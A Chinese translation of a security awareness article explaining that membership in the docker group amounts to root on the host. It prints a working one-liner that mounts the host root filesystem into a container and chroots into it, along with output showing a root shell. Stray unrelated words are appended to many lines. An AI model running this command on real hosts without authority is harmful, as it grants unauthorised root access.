本文翻譯自 Privilege Escalation via Docker,目的在於提醒你們注意安全性。本文中全部的內容總結成一句話:某個用戶被加入了
docker
用戶組,那麼這個用戶至關於直接得到了宿主機免認證的root
權限。html
文章太長不要看,一句話,不要用 docker
用戶組。git
若是你對 Docker 不熟悉的話,簡單來講,Docker 是一個輕量級的應用容器。和常見的虛擬機相似,可是和虛擬機相比,資源消耗更低。而且,使用和 GitHub
相似的被 commit
的容器,很是容易就能實現容器內指定運行環境中的應用打包和部署。github
若是你有服務器上一個普通用戶的帳號,若是這個用戶被加入了 docker
用戶組,那麼你很容易就能得到宿主機的 root
權限。docker
黑魔法:shell
docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
輸出以下:segmentfault
johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease [...] You should now have a root shell on the host OS Press Ctrl-D to exit the docker instance / shell # whoami root #此處是容器內部,可是容器已經 chroot /hostOS,因此至關於直接獲取了宿主機的 root 權限。 #
譯者一直覺得是 Ctrl-D 以後,宿主機的
shell
變成root
,實際上不是。
諮詢了做者 Chris Foster 得知,是在容器內得到宿主機的root
權限。
是否是想起了之前譯者在 Docker 安全 中提到的容器內部的 UID=0 對容器外部某個不明程序執行了chmod +s
?安全
固然,全部的解釋匯成一句話,應該就是:docker
組內用戶執行命令的時候會自動在全部命令前添加 sudo
。由於設計或者其餘的緣由,Docker 給予全部 docker
組的用戶至關大的權力(雖然權力只體如今能訪問 /var/run/docker.sock 上面)。服務器
默認狀況下,Docker 軟件包是會默認添加一個 docker
用戶組的。Docker 守護進程會容許 root 用戶和 docker
組用戶訪問 Docker。給用戶提供 Docker 權限和給用戶無需認證即可以隨便獲取的 root
權限差異不大。架構
對於 Docker 來講可能很難修復,由於涉及到他們的架構問題,因此須要重寫很是多的關鍵代碼才能避免這個問題。我我的的建議是不要使用 docker
用戶組。固然,Docker 官方文檔中最好也很清楚地寫明這一點。不要讓新人不懂得「和 root
權限差異不大」是什麼意思。scala
Docker 官方也意識到了這個問題,儘管他們並無很明顯地代表想去修復它。在他們的安全文檔中,他們也的確表示 docker
用戶組的權限和 root
權限差異不大,而且敬告用戶慎重使用。
上面那條命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
,主要的做用是:從 Docker Hub 上面下載個人鏡像,而後運行。參數 -v
將容器外部的目錄 /
掛載到容器內部 /hostOS
,而且使用 -i
和 -t
參數進入容器的 shell
。
這個容器的啓動腳本是 exploit.sh
,主要內容是:chroot 到容器的 /hostOS
(也就是宿主機的 /
),而後獲取到宿主機的 root
權限。
固然能夠從這個衍生出很是多的提權方法,可是這個方法是最直接的。
本文中所提到的代碼託管在 Github,鏡像在 Docker Hub。